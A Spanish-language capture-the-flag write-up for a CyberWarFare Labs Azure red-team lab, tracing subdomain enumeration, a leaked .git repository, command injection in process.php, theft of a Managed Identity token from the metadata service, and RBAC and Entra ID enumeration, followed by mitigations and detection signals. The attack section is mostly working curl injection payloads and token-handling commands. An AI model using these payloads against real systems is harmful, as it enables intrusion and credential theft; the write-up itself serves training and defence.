← Writeups

Azure Cloud Red Teaming — CWL Meta Tech Assessment

Cadena de ataque contra infraestructura Azure: subdominio expuesto → fuga de .git → SSRF+RCE → robo de JWT vía IMDS (Metadata:true) → enumeración de RBAC y Entra ID vía Management y Graph API. Con guardrails de mitigación.

Azure Cloud Red Teaming — CWL Meta Tech Assessment

Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment (Módulo Azure) Plataforma: CyberWarFare Labs Objetivo: identificar y explotar misconfiguraciones en la infraestructura Azure de CWL Meta Tech Corporation.


1. Executive Summary & Attack Surface

El módulo Azure reproduce el mismo patrón de entrada que AWS (fuga de .git + process.php con SSRF+RCE) pero el post-explotación es radicalmente distinto: en lugar de credenciales estáticas (AccessKey/Secret), el pivot entrega un JWT de Managed Identity emitido por sts.windows.net, y la enumeración se hace íntegramente contra las REST APIs de Management y Microsoft Graph sin necesidad de CLI. El resultado es un mapa completo de RBAC a nivel suscripción y de identidades en Entra ID (grupos, usuarios, aplicaciones y sus permisos delegados).

Cadena de ataque

Cadena de ataque Azure de CWL Meta Tech Cadena de ataque desde la enumeración de subdominios, pasando por la fuga de .git y la explotación de SSRF y RCE en process.php, hasta el robo de un JWT de Managed Identity vía IMDS y la enumeración de RBAC y Entra ID. RECON · DNS APPLICATION POST-EXPLOIT · AZURE BRUTE DNS GIT DUMPER SRC LEAK SSRF · META JWT CLAIMS BEARER TOKEN GRAPH ENUM OSINT gobuster dns meta-tech.cloud DNS internal… meta-tech.cloud LEAK .git exposed git-dumper APP process.php SSRF + RCE CLOUD Azure IMDS Metadata:true JWT JWT token tid · oid · mirid AZURE Management API Reader · roleAssign GRAPH Graph API Entra ID enum LEGEND Focal Store Externo Input Backend Flujo ataque
Fig. 1 — El JWT de la Managed Identity es el pivot: sus claims (`tid`, `oid`, `xms_mirid`) mapean la identidad al tenant y a la suscripción.

Superficie de ataque

Vector Detalle Credenciales requeridas
Subdominio "internal" expuesto internal.meta-tech.cloud resuelve a una VM de Azure, Apache/2.4.29 Ninguna
Fuga de .git Mismo patrón que AWS: git-dumper entrega process.php Ninguna
SSRF + RCE Parámetros ip → file_get_contents(), organization → system() Ninguna
Azure IMDS 169.254.169.254 exige header Metadata: true Ninguna (vía RCE)
Managed Identity El JWT obtenido tiene tid, oid y xms_mirid (resource ID completo) Token Bearer

Initial access: la diferencia operativa clave con AWS es que Azure IMDS no devuelve credenciales "al descubierto": devuelve un access_token (JWT) firmado por sts.windows.net válido para un resource concreto (https://management.azure.com/ o https://graph.microsoft.com/). Hay que pedir un token por cada API que se quiera usar — un detalle que condiciona todo el post-explotación.


2. Privilege Escalation & Lateral Movement Path

2.1 Flag 1 — Enumeración de subdominios

gobuster dns --domain meta-tech.cloud \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  --threads 20 --resolver 8.8.8.8 --timeout 5s 2>/dev/null | grep -v ERROR
www.meta-tech.cloud
internal.meta-tech.cloud
curl -sI http://internal.meta-tech.cloud/
# HTTP/1.1 200 OK
# Server: Apache/2.4.29 (Ubuntu)

Flag 1: internal.meta-tech.cloud

2.2 Flag 2–3 — .git expuesto, SSRF+RCE y el JWT de IMDS

El dump del repositorio confirma el mismo process.php vulnerable (SSRF en ip, RCE en organization). La diferencia está en el metadata service:

curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata:true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"'

Decodificando el payload del JWT:

echo "<PAYLOAD_BASE64>" | base64 -d | python3 -m json.tool
{
  "iss": "https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/",
  "tid": "68b40a4c-50f1-48f3-b7cb-916dd82418a7",
  "oid": "3c19c764-a8dd-492d-bae8-0b2146630ab1",
  "xms_mirid": "/subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm"
}

El claim xms_mirid (managed identity resource ID) expone el subscription ID, el resource group y el tipo de recurso en un solo string. Es la versión Azure del "metadata de identidad": mapea quién soy (oid), en qué tenant (tid) y sobre qué recurso tengo permisos (xms_mirid).

Flags 2–4: https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/ · 68b40a4c-50f1-48f3-b7cb-916dd82418a7 · 4ebaca3d-8642-4a01-b544-e62550598323

2.3 Flags 5–7 — RBAC: role assignments y custom roles

Con el token de Management API se enumeran los roleAssignments filtrados por el principalId de la identidad:

MGMT_RESP=$(curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata:true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"')
MGMT_TOKEN=$(echo "$MGMT_RESP" | python3 -c "import sys,json;o,_=json.JSONDecoder().raw_decode(sys.stdin.read());print(o['access_token'])")

SUB="4ebaca3d-8642-4a01-b544-e62550598323"
OID="3c19c764-a8dd-492d-bae8-0b2146630ab1"

curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'$OID'" \
  | python3 -m json.tool
{
  "properties": {
    "roleDefinitionId": "/subscriptions/.../providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7",
    "scope": "/subscriptions/4ebaca3d-8642-4a01-b544-e62550598323"
  }
}

Resolución del GUID del rol y del custom role:

curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7?api-version=2022-04-01" \
  | python3 -m json.tool | grep roleName
# "roleName": "Reader"

curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01&\$filter=roleName+eq+'custom-role-definition'" \
  | python3 -m json.tool   # GUID: 3073a810-518a-273e-97d6-c30abcf852cd
"permissions": [{
    "actions": ["Microsoft.Resources/subscriptions/resourceGroups/read"],
    "notActions": [],
    "dataActions": [],
    "notDataActions": []
}]

Flags 5–7: Reader (a nivel suscripción) · scope del custom role = …/virtualMachines/it-vm · Microsoft.Resources/subscriptions/resourceGroups/read

2.4 Flags 8–10 — Microsoft Graph: Entra ID

La enumeración cambia de plano: se solicita un segundo token (ahora contra https://graph.microsoft.com/) para hablar con Entra ID — dos tokens, dos APIs, una misma identidad:

GRAPH_RESP=$(curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata:true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"')
GRAPH_TOKEN=$(echo "$GRAPH_RESP" | python3 -c "import sys,json;o,_=json.JSONDecoder().raw_decode(sys.stdin.read());print(o['access_token'])")
# Grupo "IT Ops" y sus miembros
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/groups?\$filter=displayName+eq+'IT+Ops'"
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/members?\$select=displayName,mail,userPrincipalName"
# → it@meta-tech.cloud

# Aplicaciones y sus owners / permisos delegados
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'prod-app'"
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/applications/$APP_OBJECT_ID/owners?\$select=displayName,userPrincipalName"
# → IT

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'dev-app'"
# requiredResourceAccess → resourceAppId 00000003-0000-0000-c000-000000000000 (Graph SP)

Resolviendo los GUIDs de requiredResourceAccess contra el Service Principal de Microsoft Graph:

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId+eq+'00000003-0000-0000-c000-000000000000'&\$select=appRoles,oauth2PermissionScopes" \
  | python3 -c "import sys,json;sp=json.load(sys.stdin)['value'][0];
for s in sp['oauth2PermissionScopes']:
    print('Scope:', s['value'])
for r in sp['appRoles']:
    print('AppRole:', r['value'])"
Scope: User.ReadWrite
AppRole: User.Read.All

Flags 8–10: it@meta-tech.cloud · IT · User.Read.All (AppRole de dev-app)

Lectura del hallazgo: un AppRole User.Read.All es un permiso de aplicación (application permission, sin usuario delegado): el principal puede leer cualquier perfil de usuario del tenant. Si dev-app tuviera secretos comprometidos o delegación configurada, ese permiso se convierte en exfiltración masiva de identidades.

2.5 Resumen de flags

# Pregunta Respuesta
1 Subdominio con app en Azure VM internal.meta-tech.cloud
2 iss claim del JWT https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/
3 Tenant ID 68b40a4c-50f1-48f3-b7cb-916dd82418a7
4 Subscription ID 4ebaca3d-8642-4a01-b544-e62550598323
5 Role subscription-level de VM identity Reader
6 Scope de custom-role-definition …/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm
7 Acción en custom-role-definition Microsoft.Resources/subscriptions/resourceGroups/read
8 Email de miembro de IT Ops it@meta-tech.cloud
9 Display name del owner de prod-app IT
10 Permiso Graph de dev-app User.Read.All (AppRole)

3. Mitigation & Cloud Guardrails

3.1 Guardrails por capa

Web — cerrar el mismo trío de entrada (.git, SSRF, RCE):

location ~ /\.(git|env|aws|htaccess) { deny all; return 403; }
<?php
ini_set('disable_functions', 'system,exec,passthru,shell_exec,popen,proc_open');
$ip = filter_var($_POST['ip'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
if ($ip === false) { http_response_code(400); exit; }

Azure — Managed Identity mínima:

  1. Deshabilitar acceso IMDS para identidades innecesarias en la VM (solo la identidad asignada que la app necesita).
  2. Revisar role assignments: la identidad de una VM de staging no debe tener Reader a nivel suscripción — restringir el scope al resource group o al recurso. Un Reader a nivel suscripción permite la enumeración completa de RBAC (roleAssignments), que fue exactamente lo que expuso el custom role y el trust entre aplicaciones.
  3. Custom roles: validar el conjunto de actions (mínimo privilegio) y auditar quién puede crearlos.
  4. Application permissions (User.Read.All) sobre Graph: exigir aprobación de admin, revisión periódica de requiredResourceAccess y nunca colocar secretos de aplicación en código cliente o variables de pipeline.
  5. Restringir /admin y la app internal tras la VPN/Azure Front Door, no en internet público.

3.2 Matriz finding → guardrail → detección

Finding Guardrail Señal de detección
Subdominio "internal" público NSG + no exponer apps internas Azure Monitor: tráfico anómalo a internal.*
.git expuesto deny all web server Peticiones GET /.git/config (WAF/App Gateway)
SSRF+RCE en process.php Validación + disable_functions curl hacia 169.254.169.254 desde la app (Application Insights / NSG flow logs)
Managed Identity con Reader amplio Role assignment acotado al recurso Microsoft.Authorization/roleAssignments/read frecuentes desde la identidad de la VM
User.Read.All en dev-app Revisión de requiredResourceAccess + approvals Logs de Graph con User.Read.All desde client_id inesperado

3.3 Orden de prioridad

  1. Acotar role assignments de la Managed Identity (el Reader a nivel suscripción es la puerta de toda la enumeración RBAC).
  2. Cerrar .git + SSRF/RCE (la entrada sin credenciales).
  3. Auditar application permissions de Graph (User.Read.All es exfiltración potencial de todo el tenant).
  4. Revisar custom roles y su scope de asignación.